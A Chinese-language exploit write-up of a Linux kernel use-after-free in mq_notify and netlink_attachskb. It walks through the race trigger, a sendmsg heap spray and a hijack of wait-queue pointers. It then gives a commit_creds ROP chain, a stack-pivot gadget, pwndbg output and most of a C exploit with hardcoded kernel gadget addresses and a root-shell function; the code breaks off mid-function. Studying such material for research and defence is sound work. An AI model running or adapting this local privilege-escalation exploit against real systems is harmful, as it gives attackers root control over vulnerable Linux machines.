当线程1 还未进入 retry时，线程2 调用了 close触发了 fputs，使引用计数 ref count减1，并从映射表中将 fd和文件的映射移除，因为调用 close(fd)函数将会释放最后一个对文件的引用，所以 file结构体将会被释放。由于 file结构体被释放，相关联的 sock的结构体的引用计数减1，且sock的计数为0，导致其被释放。这时 sock指针并没有被设置为 NULL，使其成为一个野指针。

然后在线程1中，因为 fd已经不指向任何有效的文件结构，所以第二次调用 fget()时会失败，程序将会跳转到 out标签处，接着 netlink_detachskb()将会使用之前已经被释放的 sock指针，导致 use after free。这里的 use after free是漏洞导致的结果而不是漏洞产生的原因。

自此，漏洞整个的触发流程已经分析完毕，对其进行一个全面总结。

总结：

  1. 在 mq_notify首先需要使线程 1 能进入 retry分支，那么即需要使netlink_attackskb函数返回1；

    1. 要使netlink_attachskb返回1，首先要满足 atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf成立，进入 If分支；

      1. 要使上述判断成立，有两种方法：增大 sk->sk_rmem_alloc的值或减小 sk->sk_rcvbuf的值；
      2. 要增大 sk->sk_rmem_alloc可以在用户层使用 sendmsg来调用 netlink_skb_owner_r来增大；
      3. 要减小 sk->sk_rcvbuf可以在用户层使用 sock_setsockopt函数来减小。

    2. 此外，进入 if分支后，线程会进入 block状态，所以需要一个唤醒 被阻塞程序的方法，这里是通过调用 netlink_setsockopt来唤醒。

  2. netlink_attachskb返回1后，线程1将进入 retry分支，此时创建线程 2，并调用 close(sock)，此时 sock将会被释放掉；

  3. 然后 线程 1 继续执行 fget来从sock中获取 fd，由于第2步中已经将 sock释放掉，此时会返回 NULL；

  4. 所以，线程1 会直接进入 out状态，并由于 sock没有被清空。所以会再次释放 sock，造成 UAF漏洞。

利用分析

由上述分析可知，释放掉 sock对象后，sock对象指针成为野指针，如果我们再次分配 kmalloc-1024就有可能分配到该内存，控制 sock对象内的关键指针，就可以更改程序流，再次分配 kmalloc-1024的方式为堆喷，这里采用 sendmsg，执行 sendmsg系统调用时，调用路径如下，如箭头所示：

img

最终会调用 sendmsg，这里将会回调 sock->proto_ops->sendmsg，当 family是 AF_UNIX时，将会调用 unix_dgram_sendmsg

利用 sendmsg控制数据

整个调用路径如上图所示，从 sysc_sendmsg->syssendmsg->sys_sendmsg基本不需要任何条件，因此先分析___sys_sendmsg函数：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
static int ___sys_sendmsg(struct socket *sock, struct user_msghdr __user *msg,
			 struct msghdr *msg_sys, unsigned int flags,
			 struct used_address *used_address)
{
	struct compat_msghdr __user *msg_compat =
	    (struct compat_msghdr __user *)msg;
	struct sockaddr_storage address;
	struct iovec iovstack[UIO_FASTIOV], *iov = iovstack;
	unsigned char ctl[sizeof(struct cmsghdr) + 20]	//建立一个ctl[36]数组
	    __attribute__ ((aligned(sizeof(__kernel_size_t))));
	/* 20 is size of ipv6_pktinfo */
	unsigned char *ctl_buf = ctl;	//把数组地址给一个指针ctl_buf
	int ctl_len;
	ssize_t err;

	msg_sys->msg_name = &address;

	if (MSG_CMSG_COMPAT & flags)	
		err = get_compat_msghdr(msg_sys, msg_compat, NULL, &iov);
	else
         //把参数msg传递给内核空间的msg_sys(均为struct msghdr)
		err = copy_msghdr_from_user(msg_sys, msg, NULL, &iov);
	if (err < 0)
		return err;

	err = -ENOBUFS;
	//用户提供的msg_controllen的大小要小于等于INT_MAX
	if (msg_sys->msg_controllen > INT_MAX)
		goto out_freeiov;
    //将msg_sys->msg_controllen赋值给ctl_len
	ctl_len = msg_sys->msg_controllen;
	if ((MSG_CMSG_COMPAT & flags) && ctl_len) {
		err =
		    cmsghdr_from_user_compat_to_kern(msg_sys, sock->sk, ctl,
						     sizeof(ctl));
		if (err)
			goto out_freeiov;
		ctl_buf = msg_sys->msg_control;
		ctl_len = msg_sys->msg_controllen;
	} else if (ctl_len) {
		if (ctl_len > sizeof(ctl)) {
            //调用sock_kmalloc，将申请的内存指针赋值给ctl_buf
			ctl_buf = sock_kmalloc(sock->sk, ctl_len, GFP_KERNEL);
			if (ctl_buf == NULL)
				goto out_freeiov;
		}
		err = -EFAULT;
		/*
		 * Careful! Before this, msg_sys->msg_control contains a user pointer.
		 * Afterwards, it will be a kernel pointer. Thus the compiler-assisted
		 * checking falls down on this.
		 */
        //将msg_control拷贝到ctl_buf
		if (copy_from_user(ctl_buf,
				   (void __user __force *)msg_sys->msg_control,
				   ctl_len))
			goto out_freectl;
        //修改msg_sys->msg_control的值为ctl_buf
		msg_sys->msg_control = ctl_buf;
	}
	msg_sys->msg_flags = flags;

	if (sock->file->f_flags & O_NONBLOCK)
		msg_sys->msg_flags |= MSG_DONTWAIT;
	/*
	 * If this is sendmmsg() and current destination address is same as
	 * previously succeeded address, omit asking LSM's decision.
	 * used_address->name_len is initialized to UINT_MAX so that the first
	 * destination address never matches.
	 */
    //由于used_address为null
	if (used_address && msg_sys->msg_name &&
	    used_address->name_len == msg_sys->msg_namelen &&
	    !memcmp(&used_address->name, msg_sys->msg_name,
		    used_address->name_len)) {
		err = sock_sendmsg_nosec(sock, msg_sys);
		goto out_freectl;
	}
    //执行sock_sendmsg，回调sock->unix_dgram_ops->unix_dgram_sendmsg
	err = sock_sendmsg(sock, msg_sys);
	/*
	 * If this is sendmmsg() and sending to current destination address was
	 * successful, remember it.
	 */
	if (used_address && err >= 0) {
		used_address->name_len = msg_sys->msg_namelen;
		if (msg_sys->msg_name)
			memcpy(&used_address->name, msg_sys->msg_name,
			       used_address->name_len);
	}

out_freectl:
	if (ctl_buf != ctl)
		sock_kfree_s(sock->sk, ctl_buf, ctl_len);
out_freeiov:
	kfree(iov);
	return err;
}

这里对上面函数中，调用的比较重要的几个函数，进行分析。sock_kmalloc函数如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void *sock_kmalloc(struct sock *sk, int size, gfp_t priority)
{
    //判断size是否大于sysctl_optmen_max,且加上sk->sk_omem_alloc是否大于
	if ((unsigned int)size <= sysctl_optmem_max &&
	    atomic_read(&sk->sk_omem_alloc) + size < sysctl_optmem_max) {
		void *mem;
		/* First do the add, to avoid the race if kmalloc
		 * might sleep.
		 */
		atomic_add(size, &sk->sk_omem_alloc);
        //调用kmalloc申请size的大小，size为1024
		mem = kmalloc(size, priority);
		if (mem)
			return mem;
		atomic_sub(size, &sk->sk_omem_alloc);
	}
	return NULL;
}

这里 sysctl_optmem_max初始化为 ：

1
sizeof(unsigned long)*(2**UIO_MAXIOV+512)

而 UIO_MAXIOV的大小为 1024，所以判断肯定满足。能直接执行 kmalloc分配 1024的内存。

sock_sendmsg函数如下：

1
2
3
4
5
6
7
int sock_sendmsg(struct socket *sock, struct msghdr *msg)
{
	int err = security_socket_sendmsg(sock, msg,
					  msg_data_left(msg));

	return err ?: sock_sendmsg_nosec(sock, msg);
}

这里根据其他师傅分析，sock_sendmsg最终的调用链如下(但是我卡在虚函数怎么确定调用哪个函数)：

1
sock->unix_dgram_ops->unix_dgram_sendmsg

在 unix_dgram_sendmsg会调用 scm_send，最终调用 __scm_send，在 __scm_send中只要保证 cmsg->cmsg_level不等于 SOL_SOCKET，同时 cmsg->cmsg_type为 SCM_CREDENTIALS或 SCM_RIGHTS就可以返回 0。

最终 unix_dgram_sendmsg中 调用 sock_alloc_send_pskb函数，先判断 sk_wmem_alloc < sk_sndbuf, sk_wmem_alloc表示发送缓冲区长度，sk_sndbuf表示发送缓冲区的最大长度，条件如果为真，则不会阻塞。

然后申请skb空间，通过 skb_set_owner_w函数，增加 sk_wmem_alloc长度，再次申请便会阻塞。

在 ___sys_sendmsg执行后，会释放前面申请的 size为 1024的 对象，这样即无论我们申请多少次，最后都置会申请同一个对象，这里就不能实现堆喷。而 其在某些条件下可以让该函数阻塞，通过不断调用 sendmsg，并增大 sk_wmem_alloc使其阻塞。

阻塞发送端进程

上卖弄提到 sendmsg申请堆块后，在执行完后会释放该堆块。这里为了实现不释放该堆块，我们需要让执行 sendmsg的进程阻塞。为了阻塞该进程需要两点：

  1. 选择一个合适的socket协议，既不会抢占 1024字节，也不会触碰 UAF的内存块，即选择 AF_UNIX
  2. 寻找函数来设置 timeo的值，使进程产生阻塞，并且阻塞时间尽可能大，即仍然为 setsockopt()函数

这里不用原来的 netlink套接字流程，原因是其中的 netlink_getsockbypid()函数，会遍历 nl_table里成员，可能会对 UAF内存块产生破坏。

而在 AF_UNIX协议种一般使用 struct sockaddr_un，它仅包含成员 sun_family和 sun_path，很独特的是其端口类似于文件路径，使其更像是共享内存模式，将 sun_path头字节置为0，就不会有寻找不到路径的麻烦：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
//该协议在sendmsg下进入的是此函数
static int unix_dgram_sendmsg(struct socket *sock, struct msghdr *msg, size_t len)
{
    struct sock *sk = sock->sk;
    struct net *net = sock_net(sk);
    struct unix_sock *u = unix_sk(sk);
    DECLARE_SOCKADDR(struct sockaddr_un *, sunaddr, msg->msg_name);
    struct sock *other = NULL;
    int namelen = 0; /* fake GCC */
    int err;
    unsigned int hash;
    struct sk_buff *skb;
    long timeo;
    struct scm_cookie scm;
    int max_level;
    int data_len = 0;
    int sk_locked;

    wait_for_unix_gc();

    //需要绕过此函数的判断条件
    err = scm_send(sock, msg, &scm, false);
    if (err < 0)
        return err;

    err = -EOPNOTSUPP;
    if (msg->msg_flags&MSG_OOB)
        goto out;

    if (msg->msg_namelen) {
        err = unix_mkname(sunaddr, msg->msg_namelen, &hash);
        if (err < 0)
            goto out;
        namelen = err;
    } else {
        sunaddr = NULL;
        err = -ENOTCONN;
        other = unix_peer_get(sk);
        if (!other)
            goto out;
    }

    if (test_bit(SOCK_PASSCRED, &sock->flags) && !u->addr
        && (err = unix_autobind(sock)) != 0)
        goto out;

    err = -EMSGSIZE;
    if (len > sk->sk_sndbuf - 32)
        goto out;

    if (len > SKB_MAX_ALLOC) {
        data_len = min_t(size_t,
                 len - SKB_MAX_ALLOC,
                 MAX_SKB_FRAGS * PAGE_SIZE);
        data_len = PAGE_ALIGN(data_len);

        BUILD_BUG_ON(SKB_MAX_ALLOC < PAGE_SIZE);
    }

    //最终阻塞和判断都在此函数中
    skb = sock_alloc_send_pskb(sk, len - data_len, data_len,
                   msg->msg_flags & MSG_DONTWAIT, &err,
                   PAGE_ALLOC_COSTLY_ORDER);

    [...]
}

其阻塞函数在于 sock_alloc_send_pskb()函数里，和在上文的 netlink_attachskb()函数中不一样，其检验的是接受端的 sk_rcvbuf，而此处检验的是发送端的 sk_sndbuf。最后也由 skb_set_owner_w()函数来增加数据块大小，来达到阻塞的前提条件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
struct sk_buff *sock_alloc_send_pskb(struct sock *sk, unsigned long header_len,
                     unsigned long data_len, int noblock,
                     int *errcode, int max_page_order)
{
    struct sk_buff *skb;
    long timeo;
    int err;

    //timeo从这里赋值，如果sk->sndtimeo不为零即会得到阻塞时间值
    timeo = sock_sndtimeo(sk, noblock);
    for (;;) {
        err = sock_error(sk);
        if (err != 0)
            goto failure;

        err = -EPIPE;
        if (sk->sk_shutdown & SEND_SHUTDOWN)
            goto failure;

        //@sk_sndbuf: size of send buffer in bytes
        //如果得到数据块大小小于sk_sndbuf，仍然无法阻塞
        if (sk_wmem_alloc_get(sk) < sk->sk_sndbuf)
            break;

        sk_set_bit(SOCKWQ_ASYNC_NOSPACE, sk);
        set_bit(SOCK_NOSPACE, &sk->sk_socket->flags);
        err = -EAGAIN;
        if (!timeo)
            goto failure;
        if (signal_pending(current))
            goto interrupted;

        //到达此处后，阻塞开始
        timeo = sock_wait_for_wmem(sk, timeo);
    }
    skb = alloc_skb_with_frags(header_len, data_len, max_page_order,
                   errcode, sk->sk_allocation);
    if (skb)
        skb_set_owner_w(skb, sk);
    return skb;

interrupted:
    err = sock_intr_errno(timeo);
failure:
    *errcode = err;
    return NULL;
}

这里还有一个问题，就是如何设置阻塞的时间 timeo的值，因为一般 sk->sndtimeo的值都为0，这里将继续使用 setsockopt()函数来设置，该函数上文已经讲过。这里只分析修改 timeo的流程：

1
2
3
4
//当 optname 为 SO_SNDTIMEO 时，可以修改timeo，继续跟踪
case SO_SNDTIMEO:
    ret = sock_set_timeout(&sk->sk_sndtimeo, optval, optlen);
    break;

而在 sock_set_timeout函数中，仍然需要绕过各种检查：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
//其中的检查有点绕，但有简单办法就是结构体全置零，即可绕过
static int sock_set_timeout(long *timeo_p, char __user *optval, int optlen)
{
    struct timeval tv;

    //optlen不能小于struct timeval结构体大小
    if (optlen < sizeof(tv))
        return -EINVAL;

    //用户态的struct timeval需要真实存在
    if (copy_from_user(&tv, optval, sizeof(tv)))
        return -EFAULT;

    //tv.tv_usec需要大于等于0 ，又要小于USEC_PER_SEC
    if (tv.tv_usec < 0 || tv.tv_usec >= USEC_PER_SEC)
        return -EDOM;

    //tv.tv_sec需要大于等于零
    if (tv.tv_sec < 0) {
        static int warned __read_mostly;

        *timeo_p = 0;
        if (warned < 10 && net_ratelimit()) {
            warned++;
            pr_info("%s: `%s' (pid %d) tries to set negative timeoutn",
                __func__, current->comm, task_pid_nr(current));
        }
        return 0;
    }

    //timeo_p成功赋予最大时延
    *timeo_p = MAX_SCHEDULE_TIMEOUT;

    //俩者皆为0时，直接退出
    if (tv.tv_sec == 0 && tv.tv_usec == 0)
        return 0;
    if (tv.tv_sec < (MAX_SCHEDULE_TIMEOUT/HZ - 1))
        *timeo_p = tv.tv_sec * HZ + DIV_ROUND_UP(tv.tv_usec, USEC_PER_SEC / HZ);
    return 0;
}

然后再通过 sendmsg，给定 control信息就可以堆喷占位，不过这里因为 sendmsg被阻塞了，所以通过循环去执行 sendmsg是不行的，还是需要依赖于多线程。

其实 kmalloc-1024在内核中需求量不大，而且在 qemu中，只需要通过一次 sendmsg，就可以申请到这个对象）

覆盖指针

上面，我们已经将 sock释放，并且找到使用 sendmsg来将被释放的 sock再申请回来。而且 slub是使用 后进先出的分配原则，所以我们只要大小设置相同，是可以将 sock申请回来的。

然后我们需要确定申请回来的 slub最好是类似 tty_struct这类含有大量指针的结构体，这里选择的结构体是 netlink_sock ，然后覆盖 netlink_sock对象里的关键指针。

这里首先就要找到一个可以被覆盖，且用户态就能轻易调用的指针。这里如同 BPF漏洞中的 close就不适合使用。其调用链如下：

1
netlink_release->call_rcu->deferred_put_nlk_sk -> sock_put -> sk_free -> __sk_free -> sk_destruct -> __sk_destruct -> netlink_sock_destruct

但是，该漏洞在执行到 netlink_release的时候，会调用 netlink_remove->rhashtable_remove_fast，此时会产生崩溃。

所以，这里原文给了一个方法，利用 netlink_sock的 struct wait_eueu_head_t wait结构体，这个结构体直接嵌入到 netlink_sock结构体中。

因此，可以在用户空间伪造 wait_queue_t，让 netlink_sock->wait.task_list.next指向它，因为环境关闭了 smap，因此可以这个思路是可行的。

1
2
3
4
5
6
7
8
9
struct __wait_queue_head {
	spinlock_t		lock;
	struct list_head	task_list;
};
typedef struct __wait_queue_head wait_queue_head_t;

struct list_head {
    struct list_head *next, *prev;
};

而在 __wake_up_common函数中会将从 wait_queue_t中取出 指针，并调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static void __wake_up_common(wait_queue_head_t *q, unsigned int mode,
          int nr_exclusive, int wake_flags, void *key)
    {
      wait_queue_t *curr, *next;

      list_for_each_entry_safe(curr, next, &q->task_list, task_list) {
        unsigned flags = curr->flags;
		//调用函数
        if (curr->func(curr, mode, wake_flags, key) &&
             //节点flags需要等于WQ_FLAG_EXCLUSIVE，即1，并且没有其它task要唤醒
            (flags & WQ_FLAG_EXCLUSIVE) && !--nr_exclusive)
          break;
      }
    }

通过上述方法，就可以劫持 程序控制流。然后就是构造一个提权 ROP。

ROP

这里由于关闭了 smap，所以我们的rop 就是一个经典的构造：

1
2
3
4
5
6
7
8
9
10
11
12
rop[i++] = p_rdi_r;
rop[i++] = 0;
rop[i++] = prepare_kernel;
rop[i++] = mov_rdi_rax_r;
rop[i++] = commit_creds;
rop[i++] = swapgs;
rop[i++] = 0;
rop[i++] = iretq;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;

然后该 rop布置到用户态，然后需要从内核态栈迁移到用户态。方法就是在之前分析 bpf漏洞时提到的一样，利用一个栈迁移 gadget：

1
xchg rsp, eax;

EXP

下面分析EXP怎么构造，在这里我更偏向于讲解 exp的整体流程，而socket代码怎么写，这一块可以学习一下。

首先调用 sendmsg来增大 sk->sk_rmem_alloc的值。这里首先创建两个 socket对象，随后将 fd1作为接收端进行 bind，这里的参数设置为常规 AF_NETLINK协议参数即可。然后需要利用 fd2来调用 sendmsg，来调用 netlink_attachskb增大 sk_rmem_alloc。这里参数的设置，需要按照上述分析中设置，以此来绕过检测。执行完该函数后，sk_rmem_alloc被增大。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
//通过sendmsg调用netlink_attachskb来增大sk_rmem_alloc
int Addrmem(){
    int fd1 = 0;
    int fd2 = 0;
    //创建两个socket对象，套接字协议必须为NETLINK_USERSOCK=2
    fd1 = socket(AF_NETLINK, SOCK_RAW, NETLINK_USERSOCK);
    fd2 = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK);

    struct sockaddr_nl nladdr;
    nladdr.nl_family = AF_NETLINK;
    nladdr.nl_pad = 0;
    nladdr.nl_pid = 10;
    nladdr.nl_groups = 0;

    //绑定fd1,作为接受端
    bind(fd1, (struct sockaddr*)&nladdr, sizeof(struct sockaddr_nl));

    struct msghdr msg;
    struct sockaddr_nl rcv_nladdr;
    //需要dst_portid不为0，所以需要msg_name->nl_pid不为0
    rcv_nladdr.nl_pid = 10;
    rcv_nladdr.nl_pad = 0;
    //必须为0绕过检测
    rcv_nladdr.nl_groups = 0;
    //msg_name->nl_family必须为AF_NETLINK
    rcv_nladdr.nl_family = AF_NETLINK;

    memset(&msg,0,sizeof(msg));
    msg.msg_name = &rcv_nladdr;
    //msg_namelen不能为0
    msg.msg_namelen = sizeof(rcv_nladdr);
    /* message head */
    char msg_head[] = "An example";
    struct nlmsghdr* nlmsg_hdr;
    nlmsg_hdr = (struct nlmsghdr*)malloc(NLMSG_SPACE(MAX_MSGSIZE));
    strcpy(NLMSG_DATA(nlmsg_hdr),msg_head);
    //nlmsg_len为包含netlink消息头的整个netlink消息的长度
    nlmsg_hdr->nlmsg_len = NLMSG_LENGTH(strlen(msg_head));/*nlmsghdr len + data len*/
    nlmsg_hdr->nlmsg_pid = getpid();  /* self pid */
    nlmsg_hdr->nlmsg_flags = 0;

    struct iovec iov;
    //iov_base必须用户可读
    iov.iov_base = nlmsg_hdr;
    iov.iov_len = nlmsg_hdr->nlmsg_len;
    msg.msg_iov = &iov;
    //msg_iovlen必须为1
    msg.msg_iovlen = 1;

    //调用sendmsg来增大sk->sk_rmem_alloc
    //msg_flags必须为MSG_DONTWAIT才不会被block
    while(sendmsg(fd2, &msg, MSG_DONTWAIT)>0);
    if (errno != EAGAIN)
    {
        perror("sendmsg");
        exit(-5);
        //Err("sendmsg in Addrmem");
    }

    printf("[*] Add rmem ok\n");
    return fd1;
}

可以依次在 netlink_attachskb下断点，判断其返回值是否 1，如果是1，则说明此时已经成功进入 retry分支。然后在 fdget下断点，判断其返回值是否为0，如果为0，则说明 double-fetch成功，将成功进入 out分支。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
//netlink_attachskb返回值
│*RAX  0x1
│ RBX  0x666
│────────────────────────────────────────────────────────[ DISASM ]───────────────────────
│   0xffffffff81369931    call   0xffffffff817c06f0 <0xffffffff817c06f0>
│
│ ► 0xffffffff81369936    cmp    eax, 1
//fdget返回值
*RAX  0x0
 RBX  0x666
 RCX  0xffff88001f8bdb00 ◂— add    bl, bl /* 0xffff88001f8bdb00 */
*RDX  0x1
*RDI  0x5
*RSI  0x4000
 R8   0x1
 R9   0x0
 R10  0xffffc900003dbe50 ◂— 1
 R11  0x4
 R12  0x7ffdbb7882f0 —▸ 0x4ac908 ◂— jbe    0x4ac97f /* 'vul' */
 R13  0xffff88001f8bd800 ◂— 0
 R14  0xffff88001f506c00 ◂— 0
 R15  0x1
 RBP  0xffffc900003dbf48 —▸ 0x7ffdbb788350 —▸ 0x7ffdbb788380 —▸ 0x40c5f0 ◂— push   r15
 RSP  0xffffc900003dbeb0 —▸ 0xffffc900003dbf20 ◂— 0
*RIP  0xffffffff81369947 ◂— mov    r15, rax /* 0x48fce08348c78949 */
────────────────────────────────────────────────────────[ DISASM ]────────────────────────
   0xffffffff81369942    call   0xffffffff81258380 <0xffffffff81258380>

 ► 0xffffffff81369947    mov    r15, rax

然后可以在 netlink_getname处下断点，查看其 rdi的地址偏移 0x2c8处是否为我们设置的 ntl_port 0x12345678,如下：

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/20xg 0xffff88001f933000+0x2b0
0xffff88001f9332b0:     0x4141414141414141      0x4141414141414141
0xffff88001f9332c0:     0x4141414141414141      0x4141414112345678	//ntl_port
0xffff88001f9332d0:     0x4141414941414141      0x4141414141414141
0xffff88001f9332e0:     0x0000000000000000      0x4141414141414140
0xffff88001f9332f0:     0x4141414141414141      0x0000000000000001
0xffff88001f933300:     0x00007fff3eee3d38      0x00007fff3eee3d38
0xffff88001f933310:     0x4141414141414141      0x4141414141414141
0xffff88001f933320:     0x4141414141414141      0x4141414141414141
0xffff88001f933330:     0x4141414141414141      0x4141414141414141
0xffff88001f933340:     0x4141414141414141      0x4141414141414141

在 __wake_up_common调用函数指针处下断点，可以发现此时正好调用栈迁移的 gadget。

1
2
3
4
5
6
7
*RAX  0x7ffc355ad060 ◂— add    dword ptr [rax], eax /* 0x6666666600000001 */

0xffffffff810c752f    call   qword ptr [rax + 0x10] <0xffffffff8100008d>

pwndbg> x/20xg 0x7ffc355ad060
0x7ffc355ad060: 0x6666666600000001      0x6666666666666666
0x7ffc355ad070: 0xffffffff8100008d      0x00007ffc355ad078

最终，可以发现触发 rop时，rax的值刚好为我们在用户空间伪造的 u_wait_queue_t地址，所以后续选择的 栈迁移 gadget为 xchg eax, esp。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
*RAX  0x7ffd8885dc20 ◂— add    dword ptr [rax], eax /* 0x6666666600000001 */
*RBX  0x1
 RCX  0x0
 RDX  0x0
*RDI  0x7ffd8885dc20 ◂— add    dword ptr [rax], eax /* 0x6666666600000001 */
*RSI  0x1
*R8   0x0
*R9   0x18
*R10  0xffff88001f8e3538 ◂— 2
*R11  0xffff88001f871100 ◂— or     al, byte ptr [rax] /* 0xcccccc000000000a; '\n' */
*R12  0xffff88001f48cb00 —▸ 0x7ffd8885dc38 ◂— cmp    ah, bl /* 0x7ffd8885dc38 */
*R13  0x7ffd8885dc20 ◂— add    dword ptr [rax], eax /* 0x6666666600000001 */
 R14  0x0
*R15  0x1
*RBP  0xffffc9000037fe98 —▸ 0xffffc9000037fed0 —▸ 0xffffc9000037ff00 —▸ 0xffffc9000037ff48 —▸ 0x7ffd8885e560 ◂— ...
*RSP  0xffffc9000037fe58 —▸ 0xffffffff810c7532 ◂— test   eax, eax /* 0x7401e3830b74c085 */
*RIP  0xffffffff8100008d ◂— xchg   eax, esp /* 0xc0ff00001000c394 */
────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────
 ► 0xffffffff8100008d    xchg   eax, esp
   0xffffffff8100008e    ret

最终 EXP如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
//gcc exploit.c -lpthread -static -masm=intel -o exploit
//version: 4.11.9
//Author: A1ex
//reference:bsauce
#define _GNU_SOURCE
#include <asm/types.h>
#include <mqueue.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <pthread.h>
#include <errno.h>
#include <stdbool.h>
#include <sys/un.h>
#include <sys/mman.h>

#define MAX_MSGSIZE 2048
#define SOL_NETLINK (270)
#define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes, sevp)
#define _sched_setaffinity(pid, cpusetsize, mask) syscall(__NR_sched_setaffinity, pid, cpusetsize, mask)
#define _getpid() syscall(__NR_getpid)

size_t p_rdi_r = 0xffffffff81455d6c;
size_t p_rdx_r = 0xffffffff8106f43c;
size_t mv_cr4_rdi_p_rbp_r = 0xffffffff8101c260;
size_t prepare_kernel_cred = 0xffffffff810a76c0;
size_t commit_creds = 0xffffffff810a72d0;
size_t mv_rdi_rax_p_r12_p_rbp_r = 0xffffffff8118b687;
size_t swapgs_p_rbp = 0xffffffff810656b4;
size_t iretq_p_rbp = 0xffffffff810359db;
size_t xchg_eax_esp_r = 0xffffffff8100008d;
size_t user_cs, user_ss, user_sp, user_rflags;

struct state
{
    int ok;
    int fd;
    int close_fd;
}state;

struct spry
{
    int send ;
    int fd;
    struct msghdr *msg;
    int flag;
};


struct u_wait_queue{
    unsigned int flag;
    long* pri;
    long* func;
    long* next;
    long* prev;
};

void Err(char* buf){
    printf("%s Error\n", buf);
    exit(-1);
}

void savestatus(){
       __asm__("mov user_cs,cs;"
           "mov user_ss,ss;"
           "mov user_sp,rsp;"
           "pushf;"            //push eflags
           "pop user_rflags;"
          );
}

void get_shell(){
    if(!getuid()){
        puts("Root Now!");
        //system("/bin/sh");
        char *shell = "/bin/sh";
        char *args[] = {shell, NULL};
        execve(shell, args, NULL);
    }
}

// 设置仅在 CPU 0 上运行
void migrate_to_cpu0() {
    cpu_set_t set;
    CPU_ZERO(&set);
    CPU_SET(0,&set);
    if (_sched_setaffinity(_getpid(), sizeof(set), &set) == -1){
        perror("sched_setaffinity wrong");
        exit(-1);
    }
}

//通过setsockopt来唤醒线程
void wakeup(struct state *st){
    int fd = st->fd;
    st->ok = 1;
    sleep(3);
    //调用close(fd)，触发漏洞
    close(st->close_fd);

    int optval = 1;
    //通过setsockppt来唤醒线程
    //level必须为SOL_NETLINK
    //optname必须为NETLINNK_NO_ENOBUFS才能进入wake_up_interruptible
    //optlne必须大于等sizeof(int)=4
    if(setsockopt(fd,SOL_NETLINK, NETLINK_NO_ENOBUFS ,&optval, sizeof(int))){
        perror("setsockopt ");
    }
    else{
        puts("[*] wake up thread 1 ok");
    }
}

void trigger(int fd){
    pthread_t pid;
    struct state st;
    st.ok = 0;
    st.fd = fd;
    // 调用 dup 复制 file 结构
    st.close_fd = dup(fd);

    //创建子线程用于唤醒主线程
    if(errno = pthread_create(&pid, NULL, wakeup, &st)){
        Err("Wake up");
    }
    //等待主线程被唤醒
    while(!st.ok);

    struct sigevent sigv;
    sigv.sigev_signo = st.close_fd;
    //SIGEV_THREAD=2
    sigv.sigev_notify = 2;
    sigv.sigev_value.sival_ptr = "vul";
    _mq_notify((mqd_t)0x666,&sigv);     // 主线程调用 mq_notify() 触发漏洞。 这里必须调用 _mq_notify, 其他地方可以不用
    puts("vul ok");
}

void spry(struct spry *arg){
    migrate_to_cpu0();
    sendmsg(arg->fd,arg->msg,0);
}

void HeapSpry(int nlk_fd){
    int rcv_fd;
    int snd_fd;

    //分别创建send_fd和recv_fd
    snd_fd = socket(AF_UNIX,SOCK_DGRAM,0);
    if(snd_fd == -1){
        Err("Send_fd Create");
    }
